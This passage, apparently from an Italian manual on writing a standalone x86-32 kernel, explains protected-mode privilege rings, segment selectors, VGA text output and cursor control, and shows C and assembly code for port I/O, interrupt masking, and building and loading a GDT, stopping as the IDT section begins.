Come si comprende intuitivamente, il file-immagine del dischetto deve chiamarsi '`floppy.img`'.

108.1 Privilegi dei segmenti

La gestione dei microprocessori x86-32 in modalità protetta, prevede che i dati e i processi elaborativi siano generalmente classificati in base a dei privilegi, secondo un modello ad anelli.

Figura 108.3. Modello di rappresentazione dei privilegi ad anelli.

servizi del sistema operativo
0 kernel
1
2
3
applicazioni

DPL: descriptor privilege level

CPL: current privilege level

RPL: requested privilege level

I microprocessori x86-32 definiscono precisamente quattro anelli, numerati da zero a tre e vi si attribuiscono convenzionalmente delle competenze: al livello zero, corrispondente all'anello centrale, competono i privilegi più importanti, ovvero quelli del kernel; al livello tre, corrispondente all'anello più esterno, competono i privilegi meno importanti, ovvero quelli delle applicazioni. In altri termini, gli anelli più interni, a cui corrisponde un valore numericamente minore, sono dati privilegi maggiori rispetto a quelli più esterni.

108.1.1 DPL, CPL e RPL

Nei microprocessori x86-32 si usano delle definizioni per rappresentare tre contesti diversi in cui sono considerati i privilegi ad anelli: DPL, ovvero *descriptor privilege level*; CPL, ovvero *current privilege level*; RPL, ovvero *requested privilege level*. La sigla DPL rappresenta un privilegio attribuito a un «oggetto»; pertanto, il descrittore del tale oggetto porta con sé l'indicazione del privilegio a cui questo fa riferimento. La sigla CPL rappresenta il privilegio

attivo per il processo elaborativo in corso di esecuzione. La sigla RPL rappresenta il privilegio richiesto per accedere a un certo oggetto e potrebbe essere diverso dal privilegio del processo elaborativo attuale (CPL).

Le situazioni in cui si applica il controllo dei privilegi sono varie, ma semplificando in modo un po' approssimativo si presentando tre possibilità fondamentali: codice che deve raggiungere dati; codice che deve raggiungere altro codice di tipo «conforme»; codice che deve raggiungere altro codice di tipo «non conforme». L'aggettivo «conforme» associato al codice serve solo a distinguere due comportamenti alternativi e non ha molta importanza individuare il significato originale dato al termine usato.

Figura 108.4. Combinazioni tra CPL, RPL e DPL, nelle tre situazioni più comuni, secondo due prospettive alternative.

Codice che deve raggiungere dei dati

Quando si deve accedere a dei dati, in un'area di memoria a cui ci si riferisce attraverso un descrittore, il livello di privilegio di tale descrittore (DPL) deve essere numericamente maggiore, sia di CPL, sia di RPL. Pertanto il processo elaborativo ha accesso a dati meno importanti del proprio livello; se però si vuole limitare ulteriormente l'importanza dei dati a cui si può accedere, si può utilizzare un valore RPL numericamente più alto del proprio livello effettivo.

Codice che deve raggiungere altro codice conforme

Quando il codice in corso di esecuzione deve saltare verso un'altra posizione, qualificata come «conforme», il descrittore che si riferisce alla memoria che contiene tale nuovo codice deve avere un livello di privilegio numericamente minore o uguale a quello effettivo del codice di origine. Pertanto il processo elaborativo può spostarsi a utilizzare codice

con lo stesso livello di privilegio o a codice con un privilegio più importante. In tal caso, il valore di RPL non viene considerato.

Per «codice conforme» vanno intese quindi delle procedure che sono «sicure» per tutti i processi con importanza inferiore o al massimo uguale a quella delle procedure stesse. La conformità si può riferire al concetto di standardizzazione delle procedure, come nel caso di librerie di funzioni.

Codice che deve raggiungere altro codice non conforme

Quando il codice in corso di esecuzione deve saltare verso un'altra posizione, qualificata come «non conforme», il descrittore che si riferisce alla memoria che contiene tale nuovo codice deve avere un livello di privilegio identico a quello effettivo del codice di origine. In questo caso, il valore di RPL è importante solo in quanto deve essere numericamente inferiore o uguale a quello di CPL.

Il codice «non conforme» è quello che non ha requisiti di standardizzazione e di sicurezza tali da consentire una condivisione con i processi elaborativi con un privilegio meno importante; d'altra parte, per motivi diversi, non è nemmeno abbastanza sicuro da poter essere riutilizzato da processi elaborativi più importanti.

108.1.2 Pila dei dati

Per ogni livello di privilegio che può assumere un processo elaborativo, deve essere disponibile una pila dei dati differente. Pertanto, il processo elaborativo che sta funzionando con un livello di privilegio attuale (CPL) pari a zero, deve utilizzare una pila che si colloca in un'area di memoria qualificata da un livello di privilegio del descrittore (DPL) pari a zero. Lo stesso vale per gli altri livelli di privilegio. Ciò che qui non viene spiegato è il modo in cui un processo può modificare il proprio livello di privilegio attuale (CPL) e acquisire, di conseguenza, un'altra pila dei dati.

Quando il processo elaborativo raggiunge del codice «conforme» a partire da un livello di privilegio attuale meno importante di quello del codice in questione, il valore di CPL non cambia, quindi non cambia nemmeno la pila dei dati relativa al processo elaborativo.

108.1.3 Segmenti, selettori e registri

La gestione della memoria di un microprocessore x86-32, funzionante in modalità protetta, richiede che la memoria sia organizzata in segmenti, i quali, eventualmente possono essere suddivisi in pagine di memoria virtuale. A ogni modo, i segmenti rappresentano sempre il punto di riferimento principale e vengono specificati attraverso l'aiuto di registri di segmento.

Per individuare un indirizzo di memoria (reale o virtuale), si parte da un ***selettore***, contenuto in un registro di segmento appropriato al contesto, dal quale si ottiene un indice per selezionare una voce da una tabella di descrittori. Attraverso l'indice si individua il descrittore di un segmento, del quale si ottiene l'indirizzo iniziale nella memoria (reale o virtuale). A questo indirizzo iniziale va poi aggiunto uno scostamento che rappresenta l'indirizzo relativo all'interno del segmento.

Figura 108.5. Determinazione dell'indirizzo di memoria, attraverso l'indicazione di un indirizzo relativo a un segmento.

selettore di segmento
indirizzo relativo al segmento (scostamento)
15 indice 3 0
31 0
tabella di descrittori
descrittore di segmento
indirizzo base del segmento
somma
indirizzo finale della memoria reale o virtuale
31 0

I registri all'interno dei quali vanno inseriti i selettori di segmento possono essere ***CS*** (*code segment*), ***SS*** (*stack segment*), ***DS*** (*data segment*), ***ES***, ***FS*** e ***GS*** (sono tutti registri a 16 bit). In particolare, il registro ***CS*** serve a individuare il segmento in cui è in corso di esecuzione il codice attuale; il registro ***SS*** individua il segmento in cui si trova la pila dei dati utilizzata dal processo elaborativo attuale; il registro ***DS*** e gli altri individuano dei segmenti contenenti altri tipi di dati, a cui il processo elaborativo in corso deve accedere. Il valore che si scrive in questi registri è il selettore di segmento, il quale va interpretato secondo lo schema della figura successiva.

Figura 108.6. Interpretazione del selettore di segmento che si attribuisce ai registri relativi.

selettore di segmento
(CS, SS, DS, ES, FS, GS)
TI RPL
15 3 2 1 0
RPL: livello di privilegio richiesto
indice del descrittore di segmento
TI: indicatore di tabella
0 = GDT
1 = LDT

Nella figura va osservato che i primi due bit del valore che costituisce il selettore di segmento, rappresentano i privilegi richiesti (RPL), mentre il terzo bit precisa il tipo di tabella nella quale cercare il descrittore di segmento.

Per quanto riguarda invece i privilegi attuali (CPL) di cui dispone un processo elaborativo, questi sono il valore corrispondente ai primi due bit del segmento ***CS*** e ***SS***; pertanto si ottengono **leggendo** tali registri. Quando si assegna un valore al registro ***CS***, in pratica si utilizza un'istruzione di salto o una chiamata di procedura, per la quale si specifica sia il segmento,

sia l'indirizzo relativo al segmento. È in questa fase che viene indicato il livello di privilegio richiesto (RPL), in quanto il valore del segmento, ma più precisamente si tratta del selettore di segmento, contiene tale indicazione. Ammesso che l'operazione sia valida, i privilegi effettivi sono quelli che rimangono poi nel registro, dopo la sua esecuzione.

Figura 108.7. Interpretazione dello stato dei registri ***CS*** e ***SS***.

contenuto effettivo dei registri CS e SS

15 3 | 0 2 | CPL 1 0

CPL: livello di privilegio effettivo

indice del descrittore del segmento utilizzato

Per quanto riguarda specificatamente i segmenti, i privilegi individuati dalla sigla DPL sono quelli annotati nel descrittore di segmento (della tabella relativa) al quale si vuole accedere. Esistono comunque altri contesti in cui compaiono dei privilegi di oggetti a cui si fa riferimento con un descrittore.

108.2 Funzioni di utilità generale

Nella realizzazione di un sistema indipendente, per architettura x86-32, sono necessarie delle piccole funzioni, attraverso le quali si richiamano delle istruzioni in linguaggio assemblatore. Ciò che viene usato o che può essere usato nelle sezioni successive, viene riassunto qui.

108.2.1 Porte I/O

Per comunicare con i dispositivi è necessario poter leggere e scrivere attraverso delle porte di comunicazione interne. Per fare questo si usano frequentemente le istruzioni '**`INB`**' e '**`OUTB`**' del linguaggio assemblatore. Quelli che seguono sono i listati di due funzioni con lo stesso nome, per consentire di usare queste istruzioni attraverso il linguaggio C:

```
.globl  inb
#
inb:
    enter $4, $0
    pusha
    .equ inb_port,  8           # Primo parametro.
    .equ inb_data, -4           # Variabile locale.
    mov  inb_port(%ebp), %edx   # Successivamente viene usato solo DX.
    inb %dx, %al
    mov  %eax, inb_data(%ebp)   # Salva EAX nella variabile locale.
    popa
    mov  inb_data(%ebp), %eax   # Recupera EAX che rappresenta il
    leave                       # valore restituito dalla funzione.
    ret
```

```
.globl  outb
#
outb:
    enter $0, $0
    pusha
    .equ outb_port,   8          # Primo parametro.
    .equ outb_data, 12           # Secondo parametro.
    mov  outb_port(%ebp), %edx   # Successivamente viene usato solo DX.
    mov  outb_data(%ebp), %eax   # Successivamente viene usato solo AL.
    outb %al, %dx
    popa
    leave
    ret
```

I prototipi delle due funzioni, da usare nel linguaggio C sono i seguenti:

```
unsigned int inb (unsigned int port);
```

```
void outb (unsigned int port, unsigned int data);
```

Il significato della sintassi è molto semplice: la funzione ***inb()*** riceve come argomento il numero di una porta e restituisce il valore, costituito da un solo byte, che da quella si può leggere; la funzione ***outb()*** riceve come argomenti il numero di una porta e il valore, rappresentato sempre solo da un byte, che a quella porta va scritto, senza restituire alcunché.

Nei prototipi si usano interi normali, invece di byte, ma poi viene considerata solo la porzione del byte meno significativo.

108.2.2 Sospensione e ripristino delle interruzioni hardware

Attraverso le istruzioni '**`CLI`**' e '**`STI`**' è possibile, rispettivamente, sospendere il riconoscimento delle interruzioni hardware (IRQ) e ripristinarlo. Le due funzioni seguenti si limitano a tradurre queste due istruzioni in funzioni utilizzabili con il linguaggio C:

```
.globl cli
#
cli:
    cli
    ret
```

```
.globl sti
#
sti:
    sti
    ret
```

Evidentemente, i prototipi per il linguaggio C sono semplicemente così:

```
void cli (void);
```

```
void sti (void);
```

108.3 Utilizzo dello schermo VGA a caratteri

Per poter scrivere un programma che utilizzi autonomamente le risorse hardware, senza avvalersi di un sistema operativo, la prima cosa di cui ci si deve prendere cura è la visualizzazione di messaggi sullo schermo. Di norma si parte dal presupposto che un elaboratore x86-32 disponga di uno schermo controllato da un adattatore VGA, sul quale è possibile visualizzare del testo puro e semplice, senza dover affrontare troppe complicazioni.

108.3.1 Memoria dello schermo a caratteri

Per visualizzare un messaggio su uno schermo VGA, quando non è possibile usare le funzioni del BIOS, perché si sta lavorando in modalità protetta, è necessario scrivere in una porzione di memoria che parte dall'indirizzo $B8000_{16}$, utilizzando una sequenza a 16 bit, dove gli otto bit più significativi costituiscono un codice che descrive i colori da usare per il carattere e il suo sfondo, mentre il secondo contiene il carattere da visualizzare.

Figura 108.12. Organizzazione dei 16 bit con i quali si rappresenta un carattere sullo schermo.

La figura mostra come va costruito il carattere da visualizzare sullo schermo. Per esempio, un colore indicato come 28_{16} genera un testo di colore bianco, a intensità normale, su sfondo verde, mentre $A0_{16}$ genera un testo lampeggiante nero su sfondo verde.

108.3.2 Cursore

Per visualizzare del testo sullo schermo, è sufficiente assemblare i caratteri nel modo descritto sopra, collocandoli im memoria a partire dall'indirizzo $B8000_{16}$, sapendo che presumibilmente lo schermo è organizzato a righe da 80 colonne (pertanto ogni riga utilizza 160 byte e una schermata normale da 25 righe occupa complessivamente 4000 byte). Ma la visualizzazione del testo è indipendente dalla gestione del cursore e per collocarlo da qualche parte sullo schermo, occorre comunicare con l'adattatore VGA attraverso dei registri specifici.

Prima di comunicare con l'adattatore VGA per collocare il cursore, occorre definire le coordinate del cursore. Per questo occorre contare i caratteri, contando da zero. Per esempio, ammesso di voler collocare il cursore in corrispondenza della seconda colonna della ventesima riga, su uno schermo da 80 colonne per 25 righe, la posizione che si vuole raggiungere è $19\times80+2-1 = 1521$. Questo numero corrisponde a $05F1_{16}$.

Con l'ausilio della funzione ***outb()*** descritta in un altro capitolo, si comunica con l'adattatore VGA la posizione del cursore nel modo seguente:

```
...
    outb (0x3D4, 14);   // Prima parte.
    outb (0x3D5, 0x05);

    outb (0x3D4, 15);   // Seconda parte.
    outb (0x3D5, 0xF1);
...
```

Come si vede, l'indirizzo del cursore va dato in due fasi, dividendolo in due byte.

108.4 GDT

Nei microprocessori x86-32, per poter accedere alla memoria quando si sta operando in modalità protetta,[1] è indispensabile dichiarare la mappa dei segmenti di memoria attraverso una o più tabelle di descrizione. Tra queste è indispensabile la dichiarazione della tabella GDT, ovvero *global description table*, collocata nella stessa memoria centrale.[2]

La tabella GDT deve essere predisposta dal sistema operativo, prima di ogni altra cosa; di norma ciò avviene prima di far passare il microprocessore in modalità protetta, in quanto tale passaggio richiede che la tabella sia già presente per consentire al microprocessore di conoscere i permessi di accesso. Tuttavia, se si utilizza un programma per l'avvio del sistema operativo, si potrebbe trovare il microprocessore già in modalità protetta, con una tabella GDT provvisoria, predisposta in modo tale da consentire l'accesso alla memoria senza limitazioni e in modo lineare.[3] Per esempio, questo è ciò che avviene con un sistema si avvio aderente alle specifiche *multiboot*, come nel caso di GRUB 1. Ma anche così, il sistema operativo deve comunque predisporre la propria tabella GDT, rimpiazzando la precedente.

Negli esempi che appaiono nelle sezioni successive, si fa riferimento alla predisposizione di una tabella GDT, a partire da un sistema che è già in modalità protetta, essendo consentito di accedere a tutta la memoria, linearmente, senza alcuna limitazione.

108.4.1 Privilegi

Negli esempi che vengono mostrati, i privilegi corrispondono sempre all'anello zero, onde evitare qualunque tipo di complicazione. Tuttavia, è evidente che un sistema operativo comune deve invece gestire in modo più consapevole questo problema.

108.4.2 Organizzazione e contenuti della tabella GDT

Inizialmente conviene considerare la tabella GDT in modo semplificato, organizzata a righe e colonne, come si vede nello schema successivo, dal momento che nella realtà i dati sono spezzettati e sparpagliati nello spazio a disposizione. Le righe di questa tabella possono essere al massimo 8192 e ogni riga costituisce il ***descrittore*** di un segmento di memoria, il quale, eventualmente, può sovrapporsi ad altre aree.[4]

	base	limite	attributi
descrittore 0	32 bit	20 bit	12 bit
descrittore 1	32 bit	20 bit	12 bit
descrittore 2	32 bit	20 bit	12 bit
...			
descrittore n	32 bit	20 bit	12 bit

Come si vede, gli elementi dominanti delle voci che costituiscono la tabella, ovvero dei descrittori di segmento, sono la «base» e il «limite». Il primo rappresenta l'indirizzo iniziale del segmento di memoria a cui si riferisce il descrittore; il secondo rappresenta in linea di massima l'estensione di questo segmento.

Il modo corretto di interpretare il valore che rappresenta il limite dipende da due attributi: la granularità e la direzione di espansione. Come si può vedere il valore attribuibile al limite è condizionato dalla disponibilità di soli 20 bit, con i quali si può rappresentare al massimo il valore $FFFFF_{16}$, pari a 1048575_{10}. L'attributo di granularità consente di specificare se il valore del limite riguarda byte singoli o se rappresenta multipli di 4096 byte (ovvero 1000_{16} byte). Evidentemente, con una granularità da 4096 byte è possibile rappresentare valori da 00000000_{16} a $FFFFF000_{16}$.

Figura 108.15. Confronto tra un limite da interpretare in modalità normale (a sinistra), rispetto a un limite da interpretare secondo un attributo di espansione in basso.

La direzione di espansione serve a determinare come si colloca l'area del segmento; si distinguono due casi: da ***base***, fino a ***base***+(***limite***×***granularità***) incluso; oppure da ***base***+(***limite***×***granularità***)+1 a $FFFFFFFF_{16}$. Il concetto è illustrato dalla figura già apparsa.

108.4.3 Struttura effettiva della tabella GDT

Nella realtà, la tabella GDT è formata da un array di descrittori, ognuno dei quali è composto da 8 byte, rappresentati qui in due blocchi da 32 bit, come nello schema successivo, dove viene evidenziata la porzione che riguarda l'indicazione dell'indirizzo iniziale del segmento di memoria:

L'indirizzo iniziale del segmento di memoria va ricomposto, utilizzando i bit 16-31 del primo blocco a 32 bit; quindi aggiungendo a sinistra i bit 0-7 del secondo blocco a 32 bit; infine aggiungendo a sinistra i bit 24-31 del secondo blocco a 32 bit. Anche il valore del limite del segmento di memoria risulta frammentato:

Il limite del segmento di memoria va ricomposto, utilizzando i bit 0-15 del primo blocco a 32 bit, aggiungendo a sinistra i bit 16-19 del secondo blocco a 32 bit. Nel disegno successivo si illustrano gli altri attributi, considerando che si tratti di un descrittore di memoria per codice o

dati; in altri termini, il bit 12 (il tredicesimo) del secondo blocco a 32 bit **deve essere impostato a uno**:

+0
31 16 15 0

+4
31 24 23 22 21 20 19 16 15 14 13 12 11 10 9 8 7 0

granularità: 0=1 byte, 1=4Kibyte

0=16 bit, 1=32 bit

riservato: 0

disponibile per il sistema operativo

1=in corso di utilizzo
0=attualmente non utilizzato

0=sola lettura
1=anche scrittura (dati)
1=anche esecuzione (codice)

0=espansione normale (dati)
1=espansione in basso (dati)
0=conforme (codice)
1=non conforme (codice)

0=segmento dati (non eseguibile)
1=segmento codice (eseguibile)

1=codice o dati, 0=sistema

DPL: da 00 (anello zero) a 11 (anello tre)

1=segmento presente in memoria
0=segmento non presente in memoria

A proposito del bit che rappresenta il tipo di espansione o la conformità, in generale va usato con il valore zero, a indicare che il limite rappresenta l'espansione del segmento, a partire dalla sua origine, oppure che l'interpretazione del codice è da intendere in modo «conforme» per ciò che riguarda i privilegi. Il bit di accesso in corso (il bit numero 8, nel secondo blocco da 32 bit) viene aggiornato dal microprocessore, ma normalmente solo se all'inizio appare azzerato.

Va ricordato che i microprocessori x86-32 scambiano l'ordine dei byte in memoria. Pertanto, gli schemi mostrati sono validi solo se l'accesso alla memoria avviene a blocchi da 32 bit, perché diversamente occorrerebbe tenere conto di tali scambi. Per questa stessa ragione, il descrittore di un segmento di memoria è stato mostrato diviso in due blocchi da 32 bit, invece che in uno solo da 64, dato che l'accesso non può avvenire simultaneamente per modificare o leggere un descrittore intero.

Quando si deve predisporre una tabella GDT prima di essere passati al funzionamento in modalità protetta, ovvero quando non ci si può avvalere di un sistema di avvio che offre una modalità protetta provvisoria, occorre ragionare a blocchi da 16 bit, non essendoci la possibilità di usare istruzioni a 32. Pertanto, ognuno dei blocchi descritti va invertito, come si può vedere nel disegno successivo:

108.4.4 Tabella GDT elementare

Una tabella GDT elementare, con la quale si voglia dichiarare tutta la memoria centrale (al massimo fino a 4 Gibyte), in modo lineare e senza distinzione di privilegi tra il codice e i dati, richiede almeno tre descrittori: un descrittore nullo iniziale, obbligatorio; un descrittore per il segmento codice che si estende su tutta la superficie della memoria; un altro descrittore identico, ma riferito ai dati. In pratica, a parte il descrittore nullo iniziale, servono almeno due descrittori, uno per il codice e l'altro per i dati, sovrapposti, entrambi attribuiti all'anello zero (quello principale). Questa è di norma la situazione che viene proposta negli esempi in cui si dimostra il funzionamento di un kernel elementare; nel disegno della figura 108.20 si può vedere sia in binario, sia in esadecimale.

Figura 108.20. Esempio di tabella GDT elementare.

108.4.5 Costruzione di una tabella GDT

Per costruire una tabella GDT è complicato usare una struttura per tentare di riprodurre la suddivisione degli elementi di un descrittore di segmento; pertanto, qui viene proposta una soluzione con una suddivisione che si riduce a due blocchi da 32 bit:

```
#include <stdint.h>
typedef struct {
    uint32_t  w0;
    uint32_t  w1;
} gdt_descriptor_t;
```

La funzione successiva riceve come argomento un array di descrittori di segmento, con l'indicazione dell'indice a cui si vuole fare riferimento e degli attributi che gli si vogliono associare. Va però osservato che i nomi dei parametri ***access*** e ***granularity*** rappresentano una semplificazione, nel senso che ***access*** si riferisce agli attributi che vanno dal segmento presente in memoria fino al segmento in corso di utilizzo, mentre ***granularity*** va dalla granularità fino ai bit che rappresentano un segmento riservato e disponibile:

```
#include <stdint.h>
static void
gdt_descriptor_set (gdt_descriptor_t *gdt,
                    int               descr,
                    uint32_t          base,
                    uint32_t          limit,
                    uint32_t          access,
                    uint32_t          granularity)
{
  //
  // Azzera la voce selezionata.
  //
  gdt[descr].w0 = 0;
  gdt[descr].w1 = 0;
  //
  // Trasferisce l'ampiezza del segmento (limit).
  //
  gdt[descr].w0 = gdt[descr].w0 | (limit & 0x0000FFFF);
  gdt[descr].w1 = gdt[descr].w1 | (limit & 0x000F0000);
  //
  // Trasferisce l'indirizzo iniziale del segmento (base).
  //
  gdt[descr].w0 = gdt[descr].w0 | ((base << 16) & 0xFFFF0000);
  gdt[descr].w1 = gdt[descr].w1 | ((base >> 16) & 0x000000FF);
  gdt[descr].w1 = gdt[descr].w1 | (       base & 0xFF000000);
  //
  // Trasferisce gli attributi di accesso e altri attributi vicini.
  //
  gdt[descr].w1 = gdt[descr].w1 | ((access << 8) & 0x0000FF00);
  //
  // Trasferisce la granularità e altri attributi vicini.
```

```
    //
    gdt[descr].w1 = gdt[descr].w1 | ((granularity << 20) & 0x00F00000);
}
```

Per usare questa funzione occorre prima dichiarare l'array di descrittori di segmento. L'esempio seguente serve a riprodurre la tabella elementare della figura 108.20:

```
...
static gdt_descriptor_t gdt[3];  // Tabella GDT con tre voci.
...
gdt_descriptor_set (gdt, 0, 0,       0,    0,   0); // Obbligatorio.
gdt_descriptor_set (gdt, 1, 0, 0xFFFFF, 0x9A, 0xC); // Codice conforme.
gdt_descriptor_set (gdt, 2, 0, 0xFFFFF, 0x92, 0xC); // Dati.
...
```

Nell'esempio, l'array ***gdt[]*** viene creato specificando l'uso di memoria «statica», nell'ipotesi che ciò avvenga dentro una funzione; diversamente, può trattarsi di una variabile globale senza vincoli particolari.

108.4.6 Attivazione della tabella GDT

La tabella GDT può essere collocata in memoria dove si vuole (o dove si può), ma perché il microprocessore la prenda in considerazione, occorre utilizzare un'istruzione specifica con la quale si carica il registro ***GDTR*** (*GDT register*) a 48 bit. Questo registro non è visibile e si carica con l'istruzione '**`LGDT`**', la quale richiede l'indicazione dell'indirizzo di memoria dove si articola una struttura contenente le informazioni necessarie. Si tratta precisamente di quanto si vede nel disegno successivo:

+0 *limite* 16 … 0

+2 *base* 31 … 7 … 0

In pratica, vengono usati i primi 16 bit per specificare la grandezza complessiva della tabella GDT e altri 32 bit per indicare l'indirizzo in cui inizia la tabella stessa. Tale indirizzo, sommato al valore specificato nel primo campo, deve dare l'indirizzo dell'ultimo byte della tabella stessa.

> Dal momento che la dimensione di un descrittore della tabella GDT è di 8 byte, il valore del limite corrisponde sempre a $8 \times \boldsymbol{n} - 1$, dove $\boldsymbol{n}$ è la quantità di descrittori della tabella. Così facendo, si può osservare che gli ultimi tre bit del limite sono sempre impostati a uno.

Nel disegno è stato mostrato chiaramente che il primo campo da 16 bit va considerato in modo separato. Infatti, si intende che l'accesso in lettura o in scrittura vada fatto lì esattamente a 16 bit, perché diversamente i dati risulterebbero organizzati in un altro modo. Pertanto, nel disegno viene chiarito che il campo contenente l'indirizzo della tabella, inizia esattamente dopo due byte. In questo caso, con l'aiuto del linguaggio C è facile dichiarare una struttura che riproduce esattamente ciò che serve per identificare una tabella GDT:

```
#include <stdint.h>
typedef struct {
    uint16_t  limit;
    uint32_t  base;
} __attribute__ ((packed)) gdtr_t;
```

L'esempio mostrato si riferisce all'uso del compilatore GNU C, con il quale è necessario specificare l'attributo *packet*, per fare in modo che i vari componenti risultino abbinati senza spazi ulteriori di allineamento. Fortunatamente, il compilatore GNU C fa anche la cosa giusta per quanto riguarda l'accesso alla porzione di memoria a cui si riferisce la struttura.

Avendo definito la struttura, si può creare una variabile che la utilizza, tenendo conto che è sufficiente rimanga in essere solo fino a quando viene acquisita la tabella GDT relativa dal microprocessore:

```
…
    gdtr_t gdtr;
…
```

Per calcolare il valore che rappresenta la dimensione della tabella (il limite), occorre moltiplicare la dimensione di ogni voce (8 byte) per la quantità di voci, sottraendo dal risultato una unità. L'esempio presuppone che si tratti di tre voci in tutto:

```
…
    gdtr.limit = ((sizeof (gdt_descriptor_t)) * 3) - 1;
…
```

L'indirizzo in cui si trova la tabella GDT, può essere assegnato in modo intuitivo:

```
…
    gdtr.base  = (uint32_t) &gdt[0];
…
```

108.4.7 Verifica della tabella GDT

Le prime volte che si fanno esperimenti per ottenere l'attivazione di una tabella GDT, sarebbe il caso di verificare il contenuto di questa, prima di chiedere al microprocessore di attivarla. Infatti, un piccolo errore nel contenuto della tabella o in quello della struttura che contiene le sue coordinate, comporta generalmente un errore irreversibile. D'altra parte, proprio la complessità dell'articolazione delle voci nella tabella rende frequente il verificarsi di errori, anche multipli.

Ammesso di poter lavorare in una condizione tale da poter visualizzare qualcosa con una funzione ***printf()***, la funzione seguente consente di vedere il contenuto di una tabella GDT, partendo dall'indirizzo della struttura che rappresenta il registro ***GDTR*** da caricare, ovvero dallo stesso indirizzo che dovrebbe ricevere il microprocessore, con l'istruzione '**`LGDT`**':

```
#include <stdint.h>
#include <inttypes.h>
#include <stdio.h>
```

```
static void
gdt_show (gdtr_t *gdtr)
{
    gdt_descriptor_t *gdt     = (gdt_descriptor_t *) gdtr->base;
                 int  entries = (gdtr->limit + 1)
                              / (sizeof (gdt_descriptor_t));
                 int  descr;
            //
       uint32_t  base;
       uint32_t  limit;
       uint32_t  access;
       uint32_t  granularity;
    //
    printf ("gdt base: 0x%08X  limit: 0x%04X\n", gdtr->base, gdtr->limit);
    //
    printf ("       base       limit    access granularity\n");
    //
    for (descr = 0; descr < entries; descr++)
      {
        base = limit = access = granularity = 0;
        //
        // Indirizzo del segmento di memoria.
        //
        base = base | ((gdt[descr].w0 >> 16) & 0x0000FFFF);
        base = base | ((gdt[descr].w1 << 16) & 0x00FF0000);
        base = base | ((gdt[descr].w1      ) & 0xFF000000);
        //
        // Estensione del segmento di memoria.
        //
        limit = limit | (gdt[descr].w0 & 0x0000FFFF);
        limit = limit | (gdt[descr].w1 & 0x000F0000);
        //
        // Attributi di accesso e di tipo.
        //
        access = access | ((gdt[descr].w1 >> 8) & 0x000000FF);
        //
        // Attributi di granularità.
        //
        granularity = granularity | ((gdt[descr].w1 >> 20) & 0x0000000F);
        //
        // Visualizza la voce della tabella.
        //
        printf ("gdt[%i] 0x%08" PRIX32 " 0x%06" PRIX32
                " 0x%04" PRIX32 " 0x%04" PRIX32 "\n",
                descr, base, limit, access, granularity);
    }
}
```

Stando agli esempi già fatti, si dovrebbe vedere una cosa simile al testo seguente:

```
gdt base: 0x00106044  limit: 0x0017
       base       limit    access granularity
gdt[0] 0x00000000 0x000000 0x0000 0x0000
gdt[1] 0x00000000 0x0FFFFF 0x009A 0x000C
gdt[2] 0x00000000 0x0FFFFF 0x0092 0x000C
```

Il valore 17_{16} corrisponde a 23_{10}, pertanto, in questo caso, la tabella inizia all'indirizzo 00106044_{16} e termina all'indirizzo $0010605B_{16}$ compreso; inoltre la tabella occupa complessivamente 24 byte.

108.4.8 Istruzioni per l'attivazione

Per rendere operativo il contenuto della tabella GDT, va indicato al microprocessore l'indirizzo della struttura che contiene le coordinate della tabella stessa, attraverso l'istruzione '**`LGDT`**' (*load GDT*). Negli esempi seguenti si utilizzano istruzioni del linguaggio assemblatore, secondo la sintassi di GNU AS; in quello seguente, in particolare, si suppone che il registro ***EAX*** contenga l'indirizzo in questione:

```
…
    lgdt (%eax)         # EAX contiene l'indirizzo della struttura.
…
```

A questo punto, la tabella non viene ancora utilizzata dal microprocessore e occorre sistemare il valore di alcuni registri:

```
…
    mov  $0x10, %eax    # Selettore di segmento.
    mov  %ax, %ds
    mov  %ax, %es
    mov  %ax, %fs
    mov  %ax, %gs
    mov  %ax, %ss
…
```

I registri in cui si deve intervenire sono ***DS***, ***ES***, ***FS***, ***GS*** e ***SS***, ma per assegnare loro un valore, occorre passare per la mediazione di un altro registro che in questo caso è ***AX***. Il registro ***DS*** (*data segment*) e poi tutti gli altri citati, devono avere un selettore di segmento che punti al descrittore del segmento dati attuale, con la richiesta di privilegi adeguati e la specificazione che trattasi di un riferimento a una tabella GDT. Il disegno della figura successiva mostra come va interpretato il valore dell'esempio.

Figura 108.33. Selettore del segmento dati che riguarda sia ***DS*** con gli altri registri affini per l'accesso ai dati, sia ***SS***, per la gestione della pila dei dati.

Come si può vedere nel disegno, il valore 10_{16} assegnato ai registri destinati ai segmenti di dati, contiene l'indice 2_{10} per la tabella GDT, con la richiesta di privilegi pari a zero (ovvero il valore più importante). Il descrittore con indice due della tabella GDT è esattamente quello che è stato predisposto per i dati (figura 108.20).

Subito dopo deve essere specificato il valore del registro ***CS*** (*code segment*) che in questo caso deve corrispondere a un selettore valido per il descrittore del segmento predisposto nella tabella GDT per il codice. In questo caso il valore è 08_{16}, come si può vedere poi dalla figura successiva. Tuttavia, non è possibile assegnare il valore al registro e per ottenere il risultato, si usa un salto incondizionato a lunga distanza (*far jump*) a un simbolo rappresentato da un'etichetta che appare a poca distanza, ma con l'indicazione dell'indirizzo di segmento:

```
...
    jmp $0x08, $flush
flush:
...
```

Figura 108.35. Selettore del segmento codice.

Il listato successivo rappresenta una soluzione completa per l'attivazione della tabella GDT, a partire dall'indirizzo della struttura che ne contiene le coordinate:

```
.globl  gdt_load
#
gdt_load:
    enter $0, $0
    .equ gdtr_pointer,  8          # Primo parametro.
    mov  gdtr_pointer(%ebp), %eax  # Copia il puntatore in EAX.
```

```
    leave
    #
    lgdt (%eax)          # Carica il registro GDTR dalla posizione
    #                    # a cui punta EAX.
    #
    mov  $0x10, %eax
    mov  %ax, %ds
    mov  %ax, %es
    mov  %ax, %fs
    mov  %ax, %gs
    mov  %ax, %ss
    jmp $0x08, $flush
flush:
    ret
```

Il codice mostrato costituisce una funzione che nel linguaggio C ha il prototipo seguente:

```
gdt_load (void *gdtr);
```

Va osservato che l'istruzione '**LEAVE**' viene usata prima di passare all'istruzione '**LGDT**'; diversamente, se si tentasse si mettere dopo l'etichetta del simbolo a cui si salta nel modo descritto (per poter impostare il registro ***CS***), l'operazione fallirebbe.

108.5 IDT

La tabella IDT, ovvero *interrupt descriptor table*, serve ai microprocessori x86-32 per conoscere quali procedure avviare al verificarsi delle interruzioni previste. Le interruzioni in questione possono essere dovute a eccezioni (ovvero errori rilevati dal microprocessore stesso), alla chiamata esplicita dell'istruzione che produce un'interruzione software, oppure al verificarsi di interruzioni hardware (IRQ).

Le eccezioni e gli altri tipi di interruzione, vengono associati ognuno a una propria voce nella tabella IDT. Ogni voce della tabella ha un proprio indirizzo di procedura da eseguire al verificarsi dell'interruzione di propria competenza. Tale procedura ha il nome di ISR: *interrupt service routine*.

108.5.1 Struttura della tabella IDT

